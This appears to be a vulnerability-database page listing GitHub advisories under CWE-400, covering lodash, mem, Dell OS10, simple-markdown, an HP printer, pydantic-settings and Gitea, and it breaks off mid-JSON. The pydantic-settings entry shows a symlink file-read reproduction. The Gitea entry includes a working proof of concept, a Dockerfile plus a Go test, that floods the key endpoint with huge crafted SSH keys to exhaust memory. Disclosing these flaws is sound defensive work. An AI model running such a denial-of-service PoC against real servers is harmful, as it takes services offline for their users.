Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5567 vulnerabilities reference this CWE, most recent first.

GHSA-4XC9-XHRJ-V574

Vulnerability from github – Published: 2019-02-07 18:16 – Updated: 2025-08-12 21:36
VLAI
Summary
Prototype Pollution in lodash
Details

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.

Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lodash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "lodash-rails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:59:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution. \n\nThe vulnerable functions are \u0027defaultsDeep\u0027, \u0027merge\u0027, and \u0027mergeWith\u0027 which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.17.11 or later.",
  "id": "GHSA-4xc9-xhrj-v574",
  "modified": "2025-08-12T21:36:47Z",
  "published": "2019-02-07T18:16:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/commit/90e6199a161b6445b01454517b40ef65ebecd2ad"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/380873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2018-16487.yml"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190919-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in lodash"
}

GHSA-4XCV-9JJX-GFJ3

Vulnerability from github – Published: 2019-07-05 21:07 – Updated: 2021-08-17 15:44
VLAI
Summary
Denial of Service in mem
Details

Versions of mem prior to 4.0.0 are vulnerable to Denial of Service (DoS). The package fails to remove old values from the cache even after a value passes its maxAge property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging.

Recommendation

Upgrade to version 4.0.0 or later.

Severity
5.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-03T20:52:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `mem` prior to 4.0.0 are vulnerable to Denial of Service (DoS).  The package fails to remove old values from the cache even after a value passes its `maxAge` property. This may allow attackers to exhaust the system\u0027s memory if they are able to abuse the application logging.\n\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later.",
  "id": "GHSA-4xcv-9jjx-gfj3",
  "modified": "2021-08-17T15:44:45Z",
  "published": "2019-07-05T21:07:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/mem/commit/da4e4398cb27b602de3bd55f746efa9b4a31702b"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1623744"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:mem:20180117"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1084"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in mem"
}

GHSA-4XF4-X6W8-3GWG

Vulnerability from github – Published: 2021-11-21 00:00 – Updated: 2022-10-27 19:00
VLAI
Details

Dell Networking OS10, versions 10.4.3.x, 10.5.0.x, 10.5.1.x & 10.5.2.x, contain an uncontrolled resource consumption flaw in its API service. A high-privileged API user may potentially exploit this vulnerability, leading to a denial of service.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-36310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-20T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell Networking OS10, versions 10.4.3.x, 10.5.0.x, 10.5.1.x \u0026 10.5.2.x, contain an uncontrolled resource consumption flaw in its API service. A high-privileged API user may potentially exploit this vulnerability, leading to a denial of service.",
  "id": "GHSA-4xf4-x6w8-3gwg",
  "modified": "2022-10-27T19:00:29Z",
  "published": "2021-11-21T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36310"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000193076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XF9-PGVV-XX67

Vulnerability from github – Published: 2020-09-03 20:27 – Updated: 2026-02-03 17:52
VLAI
Summary
Duplicate Advisory: Regular Expression Denial of Service in simple-markdown
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.

Original Description

Versions of simple-markdown prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The SimpleMarkdown.defaultInlineParse() function has significantly degraded performance when parsing inline code blocks.

Recommendation

Upgrade to version 0.5.2 or later.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:49:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.\n\n## Original Description\n\nVersions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.",
  "id": "GHSA-4xf9-pgvv-xx67",
  "modified": "2026-02-03T17:52:55Z",
  "published": "2020-09-03T20:27:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Khan/simple-markdown/issues/71"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/commit/89797fef9abb4cab2fb76a335968266a92588816"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Khan/simple-markdown"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SIMPLEMARKDOWN-460540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Regular Expression Denial of Service in simple-markdown",
  "withdrawn": "2026-02-03T17:52:55Z"
}

GHSA-4XGF-CPJX-PC3J

Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size
Details

Summary

NestedSecretsSettingsSource reads secret values from files in a configured secrets_dir. When secrets_nested_subdir=True, a directory entry inside secrets_dir that is a symbolic link pointing outside secrets_dir is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented secrets_dir_max_size protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.

Details

NestedSecretsSettingsSource performed two passes over secrets_dir using two different, inconsistent directory-traversal implementations:

  • The size check in validate_secrets_path() used Path.glob('**/*'), which does not descend into a symbolically-linked directory.
  • The loader in load_secrets() used glob.iglob(f'{path}/**/*', recursive=True) followed by read_text(), which does follow symlinked directories and reads through the link target.

Because the two passes disagreed on symlinks, a symlinked directory inside secrets_dir whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:

  1. Out-of-tree read (CWE-22 / CWE-59). A symlinked directory (or file) inside secrets_dir that resolves outside it is followed, and the external file's contents are loaded into the corresponding settings field.
  2. secrets_dir_max_size bypass (CWE-400). The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which glob.iglob(recursive=True) re-traverses, inflating the size accounting and the number of loaded secrets.

Reproduction

In a clean Linux container, with a secrets_dir containing a symlink secrets/db -> /path/outside and an outside/passwd file of 512 bytes, while secrets_dir_max_size=100:

from pydantic import BaseModel
from pydantic_settings import (
    BaseSettings,
    SettingsConfigDict,
    NestedSecretsSettingsSource,
)


class Db(BaseModel):
    passwd: str | None = None


class Settings(BaseSettings):
    model_config = SettingsConfigDict(
        secrets_dir='secrets',
        secrets_nested_subdir=True,
        secrets_dir_max_size=100,  # outside/passwd is 512 bytes
    )
    db: Db = Db()

    @classmethod
    def settings_customise_sources(
        cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings
    ):
        return (NestedSecretsSettingsSource(file_secret_settings),)

On affected versions, Settings().db.passwd is populated with the 512-byte out-of-tree file and no SettingsError is raised, even though the file exceeds secrets_dir_max_size.

Impact

Applications that opt into NestedSecretsSettingsSource with secrets_nested_subdir=True and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:

  • Confidentiality: files outside the configured secrets_dir can be read into settings values (local file read).
  • Integrity / availability of the safeguard: the advertised secrets_dir_max_size cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.

The vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use NestedSecretsSettingsSource, or that point secrets_dir at a directory fully under the application's control, are not affected.

Mitigation

Upgrade to pydantic-settings 2.14.2, which:

  • walks the secrets directory explicitly and only descends into directories whose resolved path stays within secrets_dir, so symlinked directories pointing outside are never followed;
  • uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;
  • skips any file whose resolved path escapes secrets_dir, as defense in depth.

If upgrading is not immediately possible, ensure the configured secrets_dir is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid secrets_nested_subdir=True.

Severity
5.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-settings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-400",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`NestedSecretsSettingsSource` reads secret values from files in a configured `secrets_dir`. When `secrets_nested_subdir=True`, a directory entry inside `secrets_dir` that is a symbolic link pointing **outside** `secrets_dir` is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented `secrets_dir_max_size` protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.\n\n### Details\n\n`NestedSecretsSettingsSource` performed two passes over `secrets_dir` using two different, inconsistent directory-traversal implementations:\n\n* The size check in `validate_secrets_path()` used `Path.glob(\u0027**/*\u0027)`, which does **not** descend into a symbolically-linked directory.\n* The loader in `load_secrets()` used `glob.iglob(f\u0027{path}/**/*\u0027, recursive=True)` followed by `read_text()`, which **does** follow symlinked directories and reads through the link target.\n\nBecause the two passes disagreed on symlinks, a symlinked directory inside `secrets_dir` whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:\n\n1. **Out-of-tree read (CWE-22 / CWE-59).** A symlinked directory (or file) inside `secrets_dir` that resolves outside it is followed, and the external file\u0027s contents are loaded into the corresponding settings field.\n2. **`secrets_dir_max_size` bypass (CWE-400).** The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which `glob.iglob(recursive=True)` re-traverses, inflating the size accounting and the number of loaded secrets.\n\n#### Reproduction\n\nIn a clean Linux container, with a `secrets_dir` containing a symlink `secrets/db -\u003e /path/outside` and an `outside/passwd` file of 512 bytes, while `secrets_dir_max_size=100`:\n\n```python\nfrom pydantic import BaseModel\nfrom pydantic_settings import (\n    BaseSettings,\n    SettingsConfigDict,\n    NestedSecretsSettingsSource,\n)\n\n\nclass Db(BaseModel):\n    passwd: str | None = None\n\n\nclass Settings(BaseSettings):\n    model_config = SettingsConfigDict(\n        secrets_dir=\u0027secrets\u0027,\n        secrets_nested_subdir=True,\n        secrets_dir_max_size=100,  # outside/passwd is 512 bytes\n    )\n    db: Db = Db()\n\n    @classmethod\n    def settings_customise_sources(\n        cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings\n    ):\n        return (NestedSecretsSettingsSource(file_secret_settings),)\n```\n\nOn affected versions, `Settings().db.passwd` is populated with the 512-byte out-of-tree file and **no** `SettingsError` is raised, even though the file exceeds `secrets_dir_max_size`.\n\n### Impact\n\nApplications that opt into `NestedSecretsSettingsSource` with `secrets_nested_subdir=True` and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:\n\n* **Confidentiality:** files outside the configured `secrets_dir` can be read into settings values (local file read).\n* **Integrity / availability of the safeguard:** the advertised `secrets_dir_max_size` cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.\n\nThe vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use `NestedSecretsSettingsSource`, or that point `secrets_dir` at a directory fully under the application\u0027s control, are not affected.\n\n### Mitigation\n\nUpgrade to **pydantic-settings 2.14.2**, which:\n\n* walks the secrets directory explicitly and only descends into directories whose resolved path stays within `secrets_dir`, so symlinked directories pointing outside are never followed;\n* uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;\n* skips any file whose resolved path escapes `secrets_dir`, as defense in depth.\n\nIf upgrading is not immediately possible, ensure the configured `secrets_dir` is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid `secrets_nested_subdir=True`.",
  "id": "GHSA-4xgf-cpjx-pc3j",
  "modified": "2026-06-19T22:10:42Z",
  "published": "2026-06-19T22:10:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-settings/security/advisories/GHSA-4xgf-cpjx-pc3j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-settings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size"
}

GHSA-4XJ3-J2JQ-5HJR

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-07-13 00:01
VLAI
Details

Potential security vulnerabilities have been discovered on a certain HP LaserJet Pro printer that may allow a Denial of Service on the device.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Potential security vulnerabilities have been discovered on a certain HP LaserJet Pro printer that may allow a Denial of Service on the device.",
  "id": "GHSA-4xj3-j2jq-5hjr",
  "modified": "2022-07-13T00:01:32Z",
  "published": "2022-05-24T19:19:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3704"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_4411563-4411589-16/hpsbpi03741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XJF-493Q-98P3

Vulnerability from github – Published: 2026-07-21 21:09 – Updated: 2026-07-21 21:09
VLAI
Summary
Gitea SSH Key Parser Denial of Service
Details

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
    "fmt"
    "runtime"
    "runtime/debug"
    "strings"
    "sync"
    "sync/atomic"
    "testing"
    "time"

    auth_model "gitea.dev/models/auth"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Raise the GC trigger so intermediate strings accumulate faster,
    // matching realistic server behaviour under sustained allocation load.
    debug.SetGCPercent(400)

    // Log in as an ordinary user — no special privileges needed.
    session := loginUser(t, "user1")
    token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

    const (
        numLines     = 400_000
        charsPerLine = 100
        numWorkers   = 400
    )

    var sb strings.Builder
    sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
    sb.WriteString("Comment: dos\n")
    line := strings.Repeat("a", charsPerLine) + "\n"
    for i := 0; i < numLines; i++ {
        sb.WriteString(line)
    }
    sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
    payload := sb.String()

    peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
    t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
        float64(len(payload))/(1<<20), numWorkers, peakGB)

    // Each goroutine marshals its own JSON body. The bytes live in req.Body
    // for the entire duration of MakeRequest, so numWorkers concurrent
    // goroutines hold numWorkers × payload_size bytes simultaneously.
    // With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
    var (
        wg    sync.WaitGroup
        done  atomic.Int64
        ready = make(chan struct{})
        start = time.Now()
    )

    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        go func(id int) {
            defer func() { done.Add(1); wg.Done() }()
            <-ready

            req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
                Title: fmt.Sprintf("dos-%d", id),
                Key:   payload,
            }).AddTokenAuth(token)

            MakeRequest(t, req, NoExpectedStatus)
        }(i)
    }

    go func() {
        var ms runtime.MemStats
        ticker := time.NewTicker(5 * time.Second)
        defer ticker.Stop()
        for range ticker.C {
            runtime.ReadMemStats(&ms)
            t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
                time.Since(start).Seconds(), done.Load(), numWorkers,
                float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
        }
    }()

    close(ready)
    wg.Wait()
    t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
        time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:09:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Gitea\u0027s SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N\u00b2) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server\u0027s CPU and memory, taking the instance offline.\n\n### Root Cause\n\nAn attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines \u2014 for example, 400,000 lines of 100 characters each (~38 MB total).\n\nThe request reaches `CreateUserPublicKey` with no prior size check:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212\n\nThis calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79\n\nBecause Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N\u00b2)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.\n\nThis is only possible because neither the web form field nor the API struct carries a size constraint:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49\n\n### PoC\n\nTo reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory:\n\n`poc/Dockerfile`\n```docker\nFROM golang:1.26-alpine AS builder\n\nRUN apk add --no-cache git build-base\n\nWORKDIR /gitea\n\n# Download deps in a separate layer so rebuilds are fast after source changes.\nCOPY go.mod go.sum ./\nRUN go mod download\n\n# Copy full source (needed for fixtures, config templates, and compilation).\nCOPY . .\n\n# Compile the integration test binary.\n# modernc sqlite (pure Go, no CGO needed) is the default driver.\nRUN CGO_ENABLED=0 go test -c \\\n      -o /integration.test \\\n      gitea.dev/tests/integration\n\n# \u2500\u2500 runtime image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM alpine:3.22\n\n# git is required at runtime: the test framework initialises git repos.\nRUN apk add --no-cache git\n\nCOPY --from=builder /integration.test /integration.test\n# Keep the full source at /gitea so runtime.Caller(0) path resolution works\n# and fixtures / config templates are accessible.\nCOPY --from=builder /gitea /gitea\n\nRUN adduser -D -u 1000 poc \u0026\u0026 chown -R poc:poc /gitea\n\nWORKDIR /gitea\n\nUSER poc\n\nENTRYPOINT [\"/integration.test\", \\\n            \"-test.run\", \"TestDoSSSHKeyParserOOM\", \\\n            \"-test.v\", \\\n            \"-test.timeout\", \"600s\"]\n```\n\n`tests/integration/poc_dos_test.go`\n```go\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n)\n\nfunc TestDoSSSHKeyParserOOM(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Raise the GC trigger so intermediate strings accumulate faster,\n\t// matching realistic server behaviour under sustained allocation load.\n\tdebug.SetGCPercent(400)\n\n\t// Log in as an ordinary user \u2014 no special privileges needed.\n\tsession := loginUser(t, \"user1\")\n\ttoken := getTokenForLoggedInUser(t, 